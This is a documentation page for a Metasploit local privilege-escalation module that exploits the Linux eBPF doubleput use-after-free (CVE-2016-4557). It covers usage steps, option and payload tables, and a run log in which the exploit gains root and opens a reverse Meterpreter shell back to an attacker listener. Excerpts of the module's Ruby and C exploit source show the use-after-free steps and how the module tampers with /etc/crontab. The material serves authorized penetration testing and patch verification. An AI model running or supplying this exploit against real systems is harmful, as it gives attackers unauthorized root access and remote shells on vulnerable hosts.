Linux BPF doubleput UAF Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/bpf_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux BPF doubleput UAF Privilege Escalation
Module: exploit/linux/local/bpf_priv_esc
Source code: modules/exploits/linux/local/bpf_priv_esc.rb
Disclosure date: 2016-05-04
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4557
This module is also known as double-fdput or doubleput.c.
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter
(eBPF) does not properly reference count file descriptors,
resulting in a use-after-free, which can be abused to
escalate privileges. The target system must be compiled with
CONFIG_BPF_SYSCALL
and must not have
kernel.unprivileged_bpf_disabled
set to 1. Note, this
module will overwrite the first few lines of /etc/crontab
with a new cron job. The job will need to be manually
removed. This module has been tested successfully on Ubuntu
16.04 (x64) kernel 4.4.0-21-generic (default kernel).
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > show targets
... a list of targets ...
msf exploit(bpf_priv_esc) > set TARGET target-id
msf exploit(bpf_priv_esc) > show options
... show and set options ...
msf exploit(bpf_priv_esc) > set SESSION session-id
msf exploit(bpf_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Notes
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does not properly reference count file descriptors, resulting in a use-after-free, which can be abused to escalate privileges.
The target system must be compiled with CONFIG_BPF_SYSCALL
and must not have kernel.unprivileged_bpf_disabled
set to 1.
Note, this module will overwrite the first few lines
of /etc/crontab
with a new cron job. The job will
need to be manually removed.
Vulnerable Application
This module has been tested successfully on:
- Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)
This module was not tested against, but may work against:
- Fedora 24 < kernel-4.5.4-300.fc24
- Fedora 23 < kernel-4.5.5-201.fc23
- Fedora 22 < kernel-4.4.10-200.fc22
- Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=82
- Ubuntu 14.04.1 <= 4.4.0-22.39
Creating A Testing Environment
There are a few requirements for this module to work:
CONFIG_BPF_SYSCALL=y
must be set in the kernel (default on Ubuntu 16.04)kernel.unprivileged_bpf_disabled
can't be set to1
(default on Ubuntu 16.04)- fuse needs to be installed (non-default on Ubuntu 16.04)
Using Ubuntu 16.04, simply sudo apt-get install fuse
and you're all set!
The libfuse-dev
package must be installed to test live-compiling on the target:
apt-get install libfuse-dev=2.9.4-1ubuntu3.1
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do: `use exploit/linux/local/bpf_priv_esc
- Do:
set session #
- Do:
set verbose true
- Do:
exploit
Options
MAXWAIT
The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120
(seconds)
WritableDir
A folder we can write files to. Defaults to /tmp
COMPILE
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
Scenarios
Ubuntu 16.04 (with Linux 4.4.0-21-generic)
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf5 > use exploit/linux/local/bpf_priv_esc
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/bpf_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Kernel version 4.4.0-21-generic appears to be vulnerable
[+] fuse package is installed
[+] /tmp/fuse_mount doesn't exist
[+] Kernel config has CONFIG_BPF_SYSCALL enabled
[+] Unprivileged BPF loading is permitted
[+] libfuse-dev is installed
[+] gcc is installed
[+] pkg-config is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/hello.c' (2682 bytes) ...
[*] Writing '/tmp/doubleput.c' (5168 bytes) ...
[*] Writing '/tmp/suidhelper.c' (333 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
[*] Launching exploit. This may take up to 120 seconds.
[+] Success! set-uid root /tmp/suidhelper
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (861348 bytes) to 172.16.191.141
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
[+] Deleted /tmp/hello.c
[+] Deleted /tmp/hello
[+] Deleted /tmp/doubleput.c
[+] Deleted /tmp/doubleput
[+] Deleted /tmp/suidhelper.c
[+] Deleted /tmp/.FVfiRBKRDX7r
[+] Deleted /tmp/fuse_mount
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.141
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/bpf_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/bpf_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/bpf_priv_esc) > show info
Name: Linux BPF doubleput UAF Privilege Escalation
Module: exploit/linux/local/bpf_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2016-05-04
Provided by:
jannh <[email protected]>
h00die <[email protected]>
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 120 yes Max time to wait for decrementation in seconds
SESSION yes The session to run this module on.
Payload information:
Description:
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does
not properly reference count file descriptors, resulting in a
use-after-free, which can be abused to escalate privileges. The
target system must be compiled with `CONFIG_BPF_SYSCALL` and must
not have `kernel.unprivileged_bpf_disabled` set to 1. Note, this
module will overwrite the first few lines of `/etc/crontab` with a
new cron job. The job will need to be manually removed. This module
has been tested successfully on Ubuntu 16.04 (x64) kernel
4.4.0-21-generic (default kernel).
References:
http://www.securityfocus.com/bid/90309
https://nvd.nist.gov/vuln/detail/CVE-2016-4557
https://www.exploit-db.com/exploits/39772
https://bugs.chromium.org/p/project-zero/issues/detail?id=808
https://usn.ubuntu.com/2965-1/
https://launchpad.net/bugs/1578705
http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog
https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Also known as:
double-fdput
doubleput.c
Module Options
This is a complete list of options available in the linux/local/bpf_priv_esc exploit:
msf6 exploit(linux/local/bpf_priv_esc) > show options
Module options (exploit/linux/local/bpf_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
MAXWAIT 120 yes Max time to wait for decrementation in seconds
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux x64
Advanced Options
Here is a complete list of advanced options supported by the linux/local/bpf_priv_esc exploit:
msf6 exploit(linux/local/bpf_priv_esc) > show advanced
Module advanced options (exploit/linux/local/bpf_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 60 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/bpf_priv_esc module can exploit:
msf6 exploit(linux/local/bpf_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/bpf_priv_esc exploit:
msf6 exploit(linux/local/bpf_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
10 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
11 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
12 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
13 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
14 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
15 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/bpf_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/bpf_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Prerequisites are not installed. Compiling will fail.
- libfuse-dev is not installed. Compiling will fail.
- gcc is not installed. Compiling will fail.
- pkg-config is not installed. Exploitation will fail.
- <PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable.
- Kernel version <RELEASE> <VERSION> is not vulnerable
- Kernel version <RELEASE> is not vulnerable
- fuse package is not installed. Exploitation will fail.
- <FUSE_MOUNT> should be unmounted and deleted. Exploitation will fail.
- Could not retrieve kernel config
- Kernel config does not include CONFIG_BPF_SYSCALL
- Unprivileged BPF loading is not permitted
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- <BASE_DIR> is mounted nosuid
- unable to open FUSE fd
- unable to write to FUSE fd
- unable to mmap FUSE fd
- unable to open UAF fd
- expected BPF_PROG_LOAD to fail with -EINVAL, got different error
- This module adds a job to /etc/crontab which requires manual removal!
- Failed to set-uid root <SUIDHELPER_PATH>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Prerequisites are not installed. Compiling will fail.
Here is a relevant code snippet related to the "Prerequisites are not installed. Compiling will fail." error message:
107: return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
108:
109: return true if has_prereqs?
110:
111: unless datastore['COMPILE'].eql? 'Auto'
112: fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
113: end
114: end
115:
116: def has_prereqs?
117: def check_libfuse_dev?
libfuse-dev is not installed. Compiling will fail.
Here is a relevant code snippet related to the "libfuse-dev is not installed. Compiling will fail." error message:
118: lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
119: if lib.include?('install')
120: vprint_good('libfuse-dev is installed')
121: return true
122: else
123: print_error('libfuse-dev is not installed. Compiling will fail.')
124: return false
125: end
126: end
127:
128: def check_gcc?
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
128: def check_gcc?
129: if has_gcc?
130: vprint_good('gcc is installed')
131: return true
132: else
133: print_error('gcc is not installed. Compiling will fail.')
134: return false
135: end
136: end
137:
138: def check_pkgconfig?
pkg-config is not installed. Exploitation will fail.
Here is a relevant code snippet related to the "pkg-config is not installed. Exploitation will fail." error message:
139: lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
140: if lib.include?('install')
141: vprint_good('pkg-config is installed')
142: return true
143: else
144: print_error('pkg-config is not installed. Exploitation will fail.')
145: return false
146: end
147: end
148:
149: return check_libfuse_dev? && check_gcc? && check_pkgconfig?
<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable.
Here is a relevant code snippet related to the "<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable." error message:
163:
164: output = cmd_exec gcc_cmd
165:
166: unless output.blank?
167: print_error output
168: fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
169: end
170:
171: register_file_for_cleanup path
172: chmod path
173: end
Kernel version <RELEASE> <VERSION> is not vulnerable
Here is a relevant code snippet related to the "Kernel version <RELEASE> <VERSION> is not vulnerable" error message:
176: release = kernel_release
177: version = kernel_version
178:
179: if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
180: Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
181: vprint_error "Kernel version #{release} #{version} is not vulnerable"
182: return CheckCode::Safe
183: end
184:
185: if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
186: if $1.to_i > 21
Kernel version <RELEASE> is not vulnerable
Here is a relevant code snippet related to the "Kernel version <RELEASE> is not vulnerable" error message:
182: return CheckCode::Safe
183: end
184:
185: if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
186: if $1.to_i > 21
187: vprint_error "Kernel version #{release} is not vulnerable"
188: return CheckCode::Safe
189: end
190: end
191: vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
192:
fuse package is not installed. Exploitation will fail.
Here is a relevant code snippet related to the "fuse package is not installed. Exploitation will fail." error message:
190: end
191: vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
192:
193: lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
194: unless lib.include?('install')
195: print_error('fuse package is not installed. Exploitation will fail.')
196: return CheckCode::Safe
197: end
198: vprint_good('fuse package is installed')
199:
200: fuse_mount = "#{base_dir}/fuse_mount"
<FUSE_MOUNT> should be unmounted and deleted. Exploitation will fail.
Here is a relevant code snippet related to the "<FUSE_MOUNT> should be unmounted and deleted. Exploitation will fail." error message:
197: end
198: vprint_good('fuse package is installed')
199:
200: fuse_mount = "#{base_dir}/fuse_mount"
201: if directory? fuse_mount
202: vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.")
203: return CheckCode::Safe
204: end
205: vprint_good("#{fuse_mount} doesn't exist")
206:
207: config = kernel_config
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
205: vprint_good("#{fuse_mount} doesn't exist")
206:
207: config = kernel_config
208:
209: if config.nil?
210: vprint_error 'Could not retrieve kernel config'
211: return CheckCode::Unknown
212: end
213:
214: unless config.include? 'CONFIG_BPF_SYSCALL=y'
215: vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
Kernel config does not include CONFIG_BPF_SYSCALL
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_BPF_SYSCALL" error message:
210: vprint_error 'Could not retrieve kernel config'
211: return CheckCode::Unknown
212: end
213:
214: unless config.include? 'CONFIG_BPF_SYSCALL=y'
215: vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
216: return CheckCode::Safe
217: end
218: vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
219:
220: if unprivileged_bpf_disabled?
Unprivileged BPF loading is not permitted
Here is a relevant code snippet related to the "Unprivileged BPF loading is not permitted" error message:
216: return CheckCode::Safe
217: end
218: vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
219:
220: if unprivileged_bpf_disabled?
221: vprint_error 'Unprivileged BPF loading is not permitted'
222: return CheckCode::Safe
223: end
224: vprint_good 'Unprivileged BPF loading is permitted'
225:
226: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
227: end
228:
229: def exploit
230: if is_root?
231: unless datastore['ForceExploit']
232: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
233: end
234: end
235:
236: unless writable? base_dir
237: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
232: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
233: end
234: end
235:
236: unless writable? base_dir
237: fail_with Failure::BadConfig, "#{base_dir} is not writable"
238: end
239:
240: if nosuid? base_dir
241: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
242: end
<BASE_DIR> is mounted nosuid
Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:
236: unless writable? base_dir
237: fail_with Failure::BadConfig, "#{base_dir} is not writable"
238: end
239:
240: if nosuid? base_dir
241: fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
242: end
243:
244: doubleput = %q{
245: #define _GNU_SOURCE
246: #include <stdbool.h>
unable to open FUSE fd
Here is a relevant code snippet related to the "unable to open FUSE fd" error message:
285: struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
286: if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
287: errx(1, "system() failed");
288: int fuse_fd = open("fuse_mount/hello", O_RDWR);
289: if (fuse_fd == -1)
290: err(1, "unable to open FUSE fd");
291: if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292: errx(1, "unable to write to FUSE fd");
293: struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294: if (iov_ == MAP_FAILED)
295: err(1, "unable to mmap FUSE fd");
unable to write to FUSE fd
Here is a relevant code snippet related to the "unable to write to FUSE fd" error message:
287: errx(1, "system() failed");
288: int fuse_fd = open("fuse_mount/hello", O_RDWR);
289: if (fuse_fd == -1)
290: err(1, "unable to open FUSE fd");
291: if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292: errx(1, "unable to write to FUSE fd");
293: struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294: if (iov_ == MAP_FAILED)
295: err(1, "unable to mmap FUSE fd");
296: fputs("starting writev\n", stderr);
297: ssize_t writev_res = writev(uaf_fd, iov_, 1);
unable to mmap FUSE fd
Here is a relevant code snippet related to the "unable to mmap FUSE fd" error message:
290: err(1, "unable to open FUSE fd");
291: if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292: errx(1, "unable to write to FUSE fd");
293: struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294: if (iov_ == MAP_FAILED)
295: err(1, "unable to mmap FUSE fd");
296: fputs("starting writev\n", stderr);
297: ssize_t writev_res = writev(uaf_fd, iov_, 1);
298: /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
299: if (writev_res == -1)
300: err(1, "writev failed");
unable to open UAF fd
Here is a relevant code snippet related to the "unable to open UAF fd" error message:
306:
307: void make_setuid(void) {
308: /* step 1: open writable UAF fd */
309: uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
310: if (uaf_fd == -1)
311: err(1, "unable to open UAF fd");
312: /* refcount is now 1 */
313:
314: char child_stack[20000];
315: int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
316: if (child == -1)
expected BPF_PROG_LOAD to fail with -EINVAL, got different error
Here is a relevant code snippet related to the "expected BPF_PROG_LOAD to fail with -EINVAL, got different error" error message:
336: .license = (__aligned_u64)""
337: };
338: if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
339: errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
340: if (errno != EINVAL)
341: err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
342: }
343: /* refcount is now 0, the file is freed soon-ish */
344:
345: /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
346: int status;
This module adds a job to /etc/crontab which requires manual removal!
Here is a relevant code snippet related to the "This module adds a job to /etc/crontab which requires manual removal!" error message:
514:
515: vprint_status 'Uploading payload...'
516: upload_and_chmodx(payload_path, generate_payload_exe)
517:
518: print_status('Launching exploit. This may take up to 120 seconds.')
519: print_warning('This module adds a job to /etc/crontab which requires manual removal!')
520:
521: register_dir_for_cleanup "#{base_dir}/fuse_mount"
522: cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
523: sec_waited = 0
524: until sec_waited > datastore['MAXWAIT'] do
Failed to set-uid root <SUIDHELPER_PATH>
Here is a relevant code snippet related to the "Failed to set-uid root <SUIDHELPER_PATH>" error message:
529: cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
530: return
531: end
532: sec_waited += 5
533: end
534: print_error "Failed to set-uid root #{@suidhelper_path}"
535: end
536:
537: def cleanup
538: cmd_exec "killall #{@hello_name}"
539: cmd_exec "killall #{@doubleput_name}"
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-90309
- CVE-2016-4557
- EDB-39772
- https://bugs.chromium.org/p/project-zero/issues/detail?id=808
- https://usn.ubuntu.com/2965-1/
- https://launchpad.net/bugs/1578705
- http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog
- https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html
- https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
See Also
Check also the following modules related to this module:
- exploit/linux/local/bpf_sign_extension_priv_esc
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/windows/fileformat/bpftp_client_bps_bof
Related Nessus plugins:
- EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1536)
- Ubuntu 16.04 LTS : linux vulnerabilities (USN-2965-1)
- Ubuntu 14.04 LTS : linux-lts-xenial vulnerabilities (USN-2965-2)
- Ubuntu 16.04 LTS : linux-raspi2 vulnerabilities (USN-2965-3)
- Ubuntu 16.04 LTS : linux-snapdragon vulnerability (USN-2965-4)
- Amazon Linux AMI : kernel (ALAS-2016-703)
- openSUSE Security Update : the Linux Kernel (openSUSE-2016-753)
- Fedora 23 : kernel (2016-06f1572324)
- Fedora 22 : kernel (2016-84fdc82b74)
- Fedora 24 : kernel (2016-ef973efab7)
Authors
- [email protected]
- h00die <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.